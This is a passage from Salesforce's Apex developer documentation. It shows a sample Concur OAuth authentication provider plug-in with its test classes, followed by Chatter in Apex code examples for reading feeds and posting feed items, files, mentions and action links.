String url = authUrl + '?client_id='+ key
+'&scope=USER,EXPRPT,LIST&redirect_uri='+ redirectUrl + '&state=' + stateToPropagate;
return new PageReference(url);
}
global Auth.AuthProviderTokenResponse handleCallback(Map<string,string>
authProviderConfiguration, Auth.AuthProviderCallbackState state ) {
//Here, the developer will get the callback with actual protocol.
//Their responsibility is to return a new object called AuthProviderToken
//This will contain an optional accessToken and refreshToken
key = authProviderConfiguration.get('Key__c');
secret = authProviderConfiguration.get('Secret__c');
accessTokenUrl = authProviderConfiguration.get('Access_Token_Url__c');
Map<String,String> queryParams = state.queryParameters;
String code = queryParams.get('code');
String sfdcState = queryParams.get('state');
HttpRequest req = new HttpRequest();
String url = accessTokenUrl+'?code=' + code + '&client_id=' + key +
'&client_secret=' + secret;
req.setEndpoint(url);
req.setHeader('Content-Type','application/xml');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
String responseBody = res.getBody();
String token = getTokenValueFromResponse(responseBody, 'Token',null);
289
Create a Custom Authentication Provider Plug-inUsing Salesforce Features with Apex
return new Auth.AuthProviderTokenResponse('Concur', token, 'refreshToken',
sfdcState);
}
global Auth.UserData getUserInfo(Map<string,string>
authProviderConfiguration, Auth.AuthProviderTokenResponse response) {
//Here the developer is responsible for constructing an Auth.UserData
object
String token = response.oauthToken;
HttpRequest req = new HttpRequest();
userAPIUrl = authProviderConfiguration.get('API_User_Url__c');
userAPIVersionUrl =
authProviderConfiguration.get('API_User_Version_Url__c');
req.setHeader('Authorization','OAuth ' + token);
req.setEndpoint(userAPIUrl);
req.setHeader('Content-Type','application/xml');
req.setMethod('GET');
Http http = new Http();
HTTPResponse res = http.send(req);
String responseBody = res.getBody();
String id = getTokenValueFromResponse(responseBody,
'LoginId',userAPIVersionUrl);
String fname = getTokenValueFromResponse(responseBody, 'FirstName',
userAPIVersionUrl);
String lname = getTokenValueFromResponse(responseBody, 'LastName',
userAPIVersionUrl);
String flname = fname + ''+ lname;
String uname = getTokenValueFromResponse(responseBody, 'EmailAddress',
userAPIVersionUrl);
String locale = getTokenValueFromResponse(responseBody, 'LocaleName',
userAPIVersionUrl);
Map<String,String> provMap = new Map<String,String>();
provMap.put('what1','noidea1');
provMap.put('what2','noidea2');
return new Auth.UserData(id, fname, lname, flname, uname,
'what', locale, null,'Concur',null, provMap);
}
private String getTokenValueFromResponse(String response, String token,
String ns) {
Dom.Document docx = new Dom.Document();
docx.load(response);
String ret = null;
dom.XmlNode xroot = docx.getrootelement() ;
if(xroot != null){
ret = xroot.getChildElement(token, ns).getText();
}
return ret;
}
290
Create a Custom Authentication Provider Plug-inUsing Salesforce Features with Apex
}
Sample Test Classes
The following example contains test classes for the Concur class.
@IsTest
public class ConcurTestClass {
private static final String OAUTH_TOKEN = 'testToken';
private static final String STATE = 'mocktestState';
private static final String REFRESH_TOKEN = 'refreshToken';
private static final String LOGIN_ID = 'testLoginId';
private static final String USERNAME = 'testUsername';
private static final String FIRST_NAME = 'testFirstName';
private static final String LAST_NAME = 'testLastName';
private static final String EMAIL_ADDRESS = 'testEmailAddress';
private static final String LOCALE_NAME = 'testLocalName';
private static final String FULL_NAME = FIRST_NAME + ''+ LAST_NAME;
private static final String PROVIDER = 'Concur';
private static final String REDIRECT_URL =
'http://localhost/services/authcallback/orgId/Concur';
private static final String KEY = 'testKey';
private static final String SECRET = 'testSecret';
private static final String STATE_TO_PROPOGATE = 'testState';
private static final String ACCESS_TOKEN_URL = 'http://www.dummyhost.com/accessTokenUri';
private static final String API_USER_VERSION_URL = 'http://www.dummyhost.com/user/20/1';
private static final String AUTH_URL = 'http://www.dummy.com/authurl';
private static final String API_USER_URL = 'www.concursolutions.com/user/api';
// in the real world scenario , the key and value would be read from the (custom fields
in) custom metadata type record
private static Map<String,String> setupAuthProviderConfig () {
Map<String,String> authProviderConfiguration = new Map<String,String>();
authProviderConfiguration.put('Key__c', KEY);
authProviderConfiguration.put('Auth_Url__c', AUTH_URL);
authProviderConfiguration.put('Secret__c', SECRET);
authProviderConfiguration.put('Access_Token_Url__c', ACCESS_TOKEN_URL);
authProviderConfiguration.put('API_User_Url__c',API_USER_URL);
authProviderConfiguration.put('API_User_Version_Url__c',API_USER_VERSION_URL);
authProviderConfiguration.put('Redirect_Url__c',REDIRECT_URL);
return authProviderConfiguration;
}
static testMethod void testInitiateMethod() {
String stateToPropogate = 'mocktestState';
Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url__c');
291
Create a Custom Authentication Provider Plug-inUsing Salesforce Features with Apex
PageReference expectedUrl = new
PageReference(authProviderConfiguration.get('Auth_Url__c')+'?client_id='+
authProviderConfiguration.get('Key__c')
+'&scope=USER,EXPRPT,LIST&redirect_uri='+
authProviderConfiguration.get('Redirect_Url__c')+'&state=' +
STATE_TO_PROPOGATE);
PageReference actualUrl = concurCls.initiate(authProviderConfiguration,
STATE_TO_PROPOGATE);
System.assertEquals(expectedUrl.getUrl(), actualUrl.getUrl());
}
static testMethod void testHandleCallback() {
Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url_c');
Test.setMock(HttpCalloutMock.class,new ConcurMockHttpResponseGenerator());
Map<String,String> queryParams = new Map<String,String>();
queryParams.put('code','code');
queryParams.put('state',authProviderConfiguration.get('State_c'));
Auth.AuthProviderCallbackState cbState = new
Auth.AuthProviderCallbackState(null,null,queryParams);
Auth.AuthProviderTokenResponse actualAuthProvResponse =
concurCls.handleCallback(authProviderConfiguration, cbState);
Auth.AuthProviderTokenResponse expectedAuthProvResponse = new
Auth.AuthProviderTokenResponse('Concur', OAUTH_TOKEN, REFRESH_TOKEN, null);
System.assertEquals(expectedAuthProvResponse.provider,
actualAuthProvResponse.provider);
System.assertEquals(expectedAuthProvResponse.oauthToken,
actualAuthProvResponse.oauthToken);
System.assertEquals(expectedAuthProvResponse.oauthSecretOrRefreshToken,
actualAuthProvResponse.oauthSecretOrRefreshToken);
System.assertEquals(expectedAuthProvResponse.state, actualAuthProvResponse.state);
}
static testMethod void testGetUserInfo() {
Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
Test.setMock(HttpCalloutMock.class,new ConcurMockHttpResponseGenerator());
Auth.AuthProviderTokenResponse response = new
Auth.AuthProviderTokenResponse(PROVIDER, OAUTH_TOKEN ,'sampleOauthSecret', STATE);
Auth.UserData actualUserData = concurCls.getUserInfo(authProviderConfiguration,
response) ;
292
Create a Custom Authentication Provider Plug-inUsing Salesforce Features with Apex
Map<String,String> provMap = new Map<String,String>();
provMap.put('key1','value1');
provMap.put('key2','value2');
Auth.UserData expectedUserData = new Auth.UserData(LOGIN_ID, FIRST_NAME,
LAST_NAME, FULL_NAME, EMAIL_ADDRESS,
null, LOCALE_NAME, null, PROVIDER, null, provMap);
System.assertNotEquals(expectedUserData,null);
System.assertEquals(expectedUserData.firstName, actualUserData.firstName);
System.assertEquals(expectedUserData.lastName, actualUserData.lastName);
System.assertEquals(expectedUserData.fullName, actualUserData.fullName);
System.assertEquals(expectedUserData.email, actualUserData.email);
System.assertEquals(expectedUserData.username, actualUserData.username);
System.assertEquals(expectedUserData.locale, actualUserData.locale);
System.assertEquals(expectedUserData.provider, actualUserData.provider);
System.assertEquals(expectedUserData.siteLoginUrl, actualUserData.siteLoginUrl);
}
// implementing a mock http response generator for concur
public class ConcurMockHttpResponseGenerator implements HttpCalloutMock {
public HTTPResponse respond(HTTPRequest req) {
String namespace = API_USER_VERSION_URL;
String prefix = 'mockPrefix';
Dom.Document doc = new Dom.Document();
Dom.XmlNode xmlNode = doc.createRootElement('mockRootNodeName', namespace, prefix);
xmlNode.addChildElement('LoginId', namespace, prefix).addTextNode(LOGIN_ID);
xmlNode.addChildElement('FirstName', namespace, prefix).addTextNode(FIRST_NAME);
xmlNode.addChildElement('LastName', namespace, prefix).addTextNode(LAST_NAME);
xmlNode.addChildElement('EmailAddress', namespace,
prefix).addTextNode(EMAIL_ADDRESS);
xmlNode.addChildElement('LocaleName', namespace, prefix).addTextNode(LOCALE_NAME);
xmlNode.addChildElement('Token',null,null).addTextNode(OAUTH_TOKEN);
System.debug(doc.toXmlString());
// Create a fake response
HttpResponse res = new HttpResponse();
res.setHeader('Content-Type','application/xml');
res.setBody(doc.toXmlString());
res.setStatusCode(200);
return res;
}
}
}
SEE ALSO:
AuthProviderPlugin Interface
Salesforce Help: Create a Custom External Authentication Provider
293
Create a Custom Authentication Provider Plug-inUsing Salesforce Features with Apex
Chatter Answers and Ideas
In Chatter Answers and Ideas, use zones to organize ideas and answers into groups. Each zone can have its own focus, with unique ideas
and answers topics to match that focus.
Note: Before Summer ’13, Chatter Answers and Ideas used the term “communities.” In the Summer ‘13 release, these communities
were renamed “zones” to prevent confusion with Salesforce Communities.
To work with zones in Apex, use the Answers, Ideas, and ConnectApi.Zones.
SEE ALSO:
Answers Class
Ideas Class
Zones Class
Chatter in Apex
Use Chatter in Apex to develop custom experiences in Salesforce. Create Visualforce pages that display feeds, post feed items with
mentions and topics, and update user and group photos. Create triggers that update Chatter feeds.
Many Chatter REST API resource actions are exposed as static methods on Apex classes in the ConnectApi namespace. These methods
use other ConnectApi classes to input and return information. The ConnectApi namespace is referred to as Chatter in Apex.
In Apex, it’s possible to access some Chatter data using SOQL queries and objects. However, ConnectApi classes expose Chatter
data in a much simpler way. Data is localized and structured for display. For example, instead of making many calls to access and assemble
a feed, you can do it with a single call.
Chatter in Apex methods execute in the context of the context user, who is also referred to as the context user. The code has access to
whatever the context user has access to. It doesn’t run in system mode like other Apex code.
For Chatter in Apex reference information, see ConnectApi Namespace on page 804.
IN THIS SECTION:
Chatter in Apex Examples
Use these examples to perform common tasks with Chatter in Apex.
Chatter in Apex Features
This topic describes which classes and methods to use to work with common Chatter in Apex features.
Using ConnectApi Input and Output Classes
Some classes in the ConnectApi namespace contain static methods that access Chatter REST API data. The ConnectApi
namespace also contains input classes to pass as parameters and output classes that can be returned by calls to the static methods.
Understanding Limits for ConnectApi Classes
Limits for methods in the ConnectApi namespace are different than the limits for other Apex classes.
Serializing and Deserializing ConnectApi Objects
When ConnectApi output objects are serialized into JSON, the structure is similar to the JSON returned from Chatter REST API.
When ConnectApi input objects are deserialized from JSON, the format is also similar to Chatter REST API.
ConnectApi Versioning and Equality Checking
Versioning in ConnectApi classes follows specific rules that are quite different than the rules for other Apex classes.
294
Chatter Answers and IdeasUsing Salesforce Features with Apex
Casting ConnectApi Objects
It may be useful to downcast some ConnectApi output objects to a more specific type.
Wildcards
Use wildcard characters to match text patterns in Chatter REST API and Chatter in Apex searches.
Testing ConnectApi Code
Like all Apex code, Chatter in Apex code requires test coverage.
Differences Between ConnectApi Classes and Other Apex Classes
Note these additional differences between ConnectApi classes and other Apex classes.
Chatter in Apex Examples
Use these examples to perform common tasks with Chatter in Apex.
IN THIS SECTION:
Get Feed Elements From a Feed
Get Feed Elements From Another User’s Feed
Get Community-Specific Feed Elements from a Feed
Post a Feed Element
Post a Feed Element with a Mention
Post a Feed Element with Existing Content
Post a Rich-Text Feed Element with Inline Image
Post a Rich-Text Feed Element with a Code Block
Post a Feed Element with a New File (Binary) Attachment
Post a Batch of Feed Elements
Post a Batch of Feed Elements with New (Binary) Files
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Edit a Feed Element
Edit a Question Title and Post
Like a Feed Element
Bookmark a Feed Element
Share a Feed Element (prior to Version 39.0)
Share a Feed Element (in Version 39.0 and Later)
Post a Comment
Post a Comment with a Mention
Post a Comment with an Existing File
Post a Comment with a New File
Post a Rich-Text Comment with Inline Image
295
Chatter in Apex ExamplesUsing Salesforce Features with Apex
Post a Rich-Text Feed Comment with a Code Block
Edit a Comment
Follow a Record
Unfollow a Record
Get a Repository
Get Repositories
Get Allowed Item Types
Get Previews
Get a File Preview
Get Repository Folder Items
Get a Repository Folder
Get a Repository File Without Permissions Information
Get a Repository File with Permissions Information
Create a Repository File Without Content (Metadata Only)
Create a Repository File with Content
Update a Repository File Without Content (Metadata Only)
Update a Repository File with Content
Get Feed Elements From a Feed
This example calls getFeedElementsFromFeed(communityId, feedType, subjectId) to get the first page of
feed elements from the context user’s news feed.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.News, 'me');
The getFeedElementsFromFeed method is overloaded, which means that the method name has many different signatures. A
signature is the name of the method and its parameters in order.
Each signature lets you send different inputs. For example, one signature may specify the community ID, the feed type, and the subject
ID. Another signature could have those parameters and an additional parameter to specify the maximum number of comments to return
for each feed element.
Tip: Each signature operates on certain feed types. Use the signatures that operate on the ConnectApi.FeedType.Record
to get group feeds, since a group is a record type.
SEE ALSO:
ChatterFeeds Class
296
Chatter in Apex ExamplesUsing Salesforce Features with Apex
Get Feed Elements From Another User’s Feed
This example calls getFeedElementsFromFeed(communityId, feedType, subjectId) to get the first page of
feed elements from another user’s feed.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.UserProfile, '005R0000000HwMA');
This example calls the same method to get the first page of feed elements from another user’s record feed.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.Record, '005R0000000HwMA');
The getFeedElementsFromFeed method is overloaded, which means that the method name has many different signatures. A
signature is the name of the method and its parameters in order.
Each signature lets you send different inputs. For example, one signature can specify the community ID, the feed type, and the subject
ID. Another signature could have those parameters and an extra parameter to specify the maximum number of comments to return for
each feed element.
Get Community-Specific Feed Elements from a Feed
Display a user profile feed that contains only feed elements that are scoped to a specific community. Feed elements that have a User or
a Group parent record are scoped to communities. Feed elements whose parents are record types other than User or Group are always
visible in all communities. Other parent record types could be scoped to communities in the future.
This example calls getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, filter) to get only community-specific feed elements.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.UserProfile,'me', 3, ConnectApi.FeedDensity.FewerUpdates, null,null,
ConnectApi.FeedSortOrder.LastModifiedDateDesc, ConnectApi.FeedFilter.CommunityScoped);
Post a Feed Element
This example calls postFeedElement(communityId, subjectId, feedElementType, text) to post a string of
text.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), '0F9d0000000TreH',
ConnectApi.FeedElementType.FeedItem, 'On vacation this week.');
The second parameter, subjectId is the ID of the parent this feed element is posted to. The value can be the ID of a user, group, or
record, or the string me to indicate the context user.
297
Chatter in Apex ExamplesUsing Salesforce Features with Apex
Post a Feed Element with a Mention
You can post feed elements with mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or
use this example, which calls postFeedElement(communityId, feedElement).
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
mentionSegmentInput.id = '005RR000000Dme9';
messageBodyInput.messageSegments.add(mentionSegmentInput);
textSegmentInput.text = 'Could you take a look?';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
feedItemInput.subjectId = '0F9RR0000004CPw';
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput, null);
Post a Feed Element with Existing Content
This example calls postFeedElement(communityId, feedElement) to post a feed item with files that have already been
uploaded.
// Define the FeedItemInput object to pass to postFeedElement
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
feedItemInput.subjectId = 'me';
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Would you please review these docs?';
// The MessageBodyInput object holds the text in the post
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.
// For this feed item, we define a files capability to hold the file(s).
List<String> fileIds = new List<String>();
fileIds.add('069xx00000000QO');
fileIds.add('069xx00000000QT');
fileIds.add('069xx00000000Qn');
fileIds.add('069xx00000000Qi');
fileIds.add('069xx00000000Qd');
ConnectApi.FilesCapabilityInput filesInput = new ConnectApi.FilesCapabilityInput();
298
Chatter in Apex ExamplesUsing Salesforce Features with Apex
filesInput.items = new List<ConnectApi.FileIdInput>();
for (String fileId : fileIds) {
ConnectApi.FileIdInput idInput = new ConnectApi.FileIdInput();
idInput.id = fileId;
filesInput.items.add(idInput);
}
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
feedElementCapabilitiesInput.files = filesInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput, null);
Post a Rich-Text Feed Element with Inline Image
You can post rich-text feed elements with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to
write a single line of code, or use this example, which calls postFeedElement(communityId, feedElement). In this
example, the image file is existing content that has already been uploaded to Salesforce. The post also includes text and a mention.
String communityId = null;
String imageId = '069D00000001INA';
String mentionedUserId = '005D0000001QNpr';
String targetUserOrGroupOrRecordId = '005D0000001Gif0';
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = targetUserOrGroupOrRecordId;
input.feedElementType = ConnectApi.FeedElementType.FeedItem;
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
ConnectApi.InlineImageSegmentInput inlineImageSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Hello ';
messageInput.messageSegments.add(textSegment);
mentionSegment = new ConnectApi.MentionSegmentInput();
mentionSegment.id = mentionedUserId;
messageInput.messageSegments.add(mentionSegment);
textSegment = new ConnectApi.TextSegmentInput();
299
Chatter in Apex ExamplesUsing Salesforce Features with Apex
textSegment.text = '!';
messageInput.messageSegments.add(textSegment);
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupEndSegment);
inlineImageSegment = new ConnectApi.InlineImageSegmentInput();
inlineImageSegment.altText = 'image one';
inlineImageSegment.fileId = imageId;
messageInput.messageSegments.add(inlineImageSegment);
input.body = messageInput;
ConnectApi.ChatterFeeds.postFeedElement(communityId, input, null);
SEE ALSO:
ConnectApi.MarkupBeginSegmentInput
ConnectApi.MarkupEndSegmentInput
ConnectApi.InlineImageSegmentInput
Post a Rich-Text Feed Element with a Code Block
This example calls postFeedElement(communityId, feedElement) to post a feed item with a code block.
String communityId = null;
String targetUserOrGroupOrRecordId = 'me';
String codeSnippet = '<html>\n\t<body>\n\t\tHello, world!\n\t</body>\n</html>';
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = targetUserOrGroupOrRecordId;
input.feedElementType = ConnectApi.FeedElementType.FeedItem;
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = codeSnippet;
messageInput.messageSegments.add(textSegment);
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupEndSegment);
input.body = messageInput;
300
Chatter in Apex ExamplesUsing Salesforce Features with Apex
ConnectApi.ChatterFeeds.postFeedElement(communityId, input);
SEE ALSO:
ConnectApi.MarkupBeginSegmentInput
ConnectApi.MarkupEndSegmentInput
Post a Feed Element with a New File (Binary) Attachment
Important: In version 36.0 and later, you can’t post a feed element with a new file in the same call. Upload files to Salesforce first,
and then specify existing files when posting a feed element.
This example calls postFeedElement(communityId, feedElement, feedElementFileUpload) to post a feed
item with a new file (binary) attachment.
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = 'me';
ConnectApi.ContentCapabilityInput contentInput = new ConnectApi.ContentCapabilityInput();
contentInput.title = 'Title';
ConnectApi.FeedElementCapabilitiesInput capabilities = new
ConnectApi.FeedElementCapabilitiesInput();
capabilities.content = contentInput;
input.capabilities = capabilities;
String text = 'These are the contents of the new file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), input, binInput);
Post a Batch of Feed Elements
This trigger calls postFeedElementBatch(communityId, feedElements) to bulk post to the feeds of newly inserted
accounts.
trigger postFeedItemToAccount on Account (after insert) {
Account[] accounts = Trigger.new;
// Bulk post to the account feeds.
List<ConnectApi.BatchInput> batchInputs = new List<ConnectApi.BatchInput>();
for (Account a : accounts) {
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = a.id;
ConnectApi.MessageBodyInput body = new ConnectApi.MessageBodyInput();
301
Chatter in Apex ExamplesUsing Salesforce Features with Apex
body.messageSegments = new List<ConnectApi.MessageSegmentInput>();
ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Let\'s win the ' + a.name + ' account.';
body.messageSegments.add(textSegment);
input.body = body;
ConnectApi.BatchInput batchInput = new ConnectApi.BatchInput(input);
batchInputs.add(batchInput);
}
ConnectApi.ChatterFeeds.postFeedElementBatch(Network.getNetworkId(), batchInputs);
}
Post a Batch of Feed Elements with New (Binary) Files
Important: In version 36.0 and later, you can’t post a batch of feed elements with new files in the same call. Upload files to
Salesforce first, and then specify existing files when posting a batch of feed elements.
This trigger calls postFeedElementBatch(communityId, feedElements) to bulk post to the feeds of newly inserted
accounts. Each post has a new file (binary) attachment.
trigger postFeedItemToAccountWithBinary on Account (after insert) {
Account[] accounts = Trigger.new;
// Bulk post to the account feeds.
List<ConnectApi.BatchInput> batchInputs = new List<ConnectApi.BatchInput>();
for (Account a : accounts) {
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = a.id;
ConnectApi.MessageBodyInput body = new ConnectApi.MessageBodyInput();
body.messageSegments = new List<ConnectApi.MessageSegmentInput>();
ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Let\'s win the ' + a.name + ' account.';
body.messageSegments.add(textSegment);
input.body = body;
ConnectApi.ContentCapabilityInput contentInput = new
ConnectApi.ContentCapabilityInput();
contentInput.title = 'Title';
ConnectApi.FeedElementCapabilitiesInput capabilities = new
ConnectApi.FeedElementCapabilitiesInput();
capabilities.content = contentInput;
input.capabilities = capabilities;
302
Chatter in Apex ExamplesUsing Salesforce Features with Apex
String text = 'We are words in a file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');
ConnectApi.BatchInput batchInput = new ConnectApi.BatchInput(input, binInput);
batchInputs.add(batchInput);
}
ConnectApi.ChatterFeeds.postFeedElementBatch(Network.getNetworkId(), batchInputs);
Define an Action Link and Post with a Feed Element
This example creates one action link in an action link group, associates the action link group with a feed item, and posts the feed item.
When a user clicks the action link, the action link requests the Chatter REST API resource /chatter/feed-elements, which posts
a feed item to the user’s feed. After the user clicks the action link and it executes successfully, its status changes to successful and the
feed item UI is updated:
303
Chatter in Apex ExamplesUsing Salesforce Features with Apex
Refresh the user’s feed to see the new post:
This is a simple example, but it shows you how to use action links to make a call to a Salesforce resource.
304
Chatter in Apex ExamplesUsing Salesforce Features with Apex
Think of an action link as a button on a feed item. Like a button, an action link definition includes a label (labelKey). An action link
group definition also includes other properties like a URL (actionUrl), an HTTP method (method), and an optional request body
(requestBody) and HTTP headers (headers).
When a user clicks this action link, an HTTP POST request is made to a Chatter REST API resource, which posts a feed item to Chatter. The
requestBody property holds the request body for the actionUrl resource, including the text of the new feed item. In this
example, the new feed item includes only text, but it could include other capabilities such as a file attachment, a poll, or even action
links.
Just like radio buttons, action links must be nested in a group. Action links within a group share the properties of the group and are
mutually exclusive (you can click on only one action link within a group). Even if you define only one action link, it must be part of an
action link group.
This example calls ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) to create an action link group definition.
It saves the action link group ID from that call and associates it with a feed element in a call to
ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement).
To use this code, substitute an OAuth value for your own Salesforce organization. Also, verify that the expirationDate is in the
future. Look for the To Do comments in the code.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
ConnectApi.ActionLinkDefinitionInput actionLinkDefinitionInput = new
ConnectApi.ActionLinkDefinitionInput();
ConnectApi.RequestHeaderInput requestHeaderInput1 = new ConnectApi.RequestHeaderInput();
ConnectApi.RequestHeaderInput requestHeaderInput2 = new ConnectApi.RequestHeaderInput();
// Create the action link group definition.
actionLinkGroupDefinitionInput.actionLinks = New
List<ConnectApi.ActionLinkDefinitionInput>();
actionLinkGroupDefinitionInput.executionsAllowed =
ConnectApi.ActionLinkExecutionsAllowed.OncePerUser;
actionLinkGroupDefinitionInput.category = ConnectApi.PlatformActionGroupCategory.Primary;
// To Do: Verify that the date is in the future.
// Action link groups are removed from feed elements on the expiration date.
datetime myDate = datetime.newInstance(2016, 3, 1);
actionLinkGroupDefinitionInput.expirationDate = myDate;
// Create the action link definition.
actionLinkDefinitionInput.actionType = ConnectApi.ActionLinkType.Api;
actionLinkDefinitionInput.actionUrl = '/services/data/v33.0/chatter/feed-elements';
actionLinkDefinitionInput.headers = new List<ConnectApi.RequestHeaderInput>();
actionLinkDefinitionInput.labelKey = 'Post';
actionLinkDefinitionInput.method = ConnectApi.HttpRequestMethod.HttpPost;
actionLinkDefinitionInput.requestBody = '{\"subjectId\": \"me\",\"feedElementType\":
\"FeedItem\",\"body\": {\"messageSegments\": [{\"type\": \"Text\",\"text\": \"This is a
test post created via an API action link.\"}]}}';
actionLinkDefinitionInput.requiresConfirmation = true;
// To Do: Substitute an OAuth value for your Salesforce org.
requestHeaderInput1.name = 'Authorization';
requestHeaderInput1.value = 'OAuth
00DD00000007WNP!ARsAQCwoeV0zzAV847FTl4zF.85w.EwsPbUgXR4SAjsp';
actionLinkDefinitionInput.headers.add(requestHeaderInput1);
305
Chatter in Apex ExamplesUsing Salesforce Features with Apex
requestHeaderInput2.name = 'Content-Type';
requestHeaderInput2.value = 'application/json';
actionLinkDefinitionInput.headers.add(requestHeaderInput2);
// Add the action link definition to the action link group definition.
actionLinkGroupDefinitionInput.actionLinks.add(actionLinkDefinitionInput);
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new
ConnectApi.AssociatedActionsCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
// Set the properties of the feedItemInput object.
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedItemInput.subjectId = 'me';
// Create the text for the post.
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Click to post a feed item.';
messageBodyInput.messageSegments.add(textSegmentInput);
// The feedElementCapabilitiesInput object holds the capabilities of the feed item.
// Define an associated actions capability to hold the action link group.
// The action link group ID is returned from the call to create the action link group
definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupIds = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupIds.add(actionLinkGroupDefinition.id);
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
Note: If the post fails, check the OAuth ID.
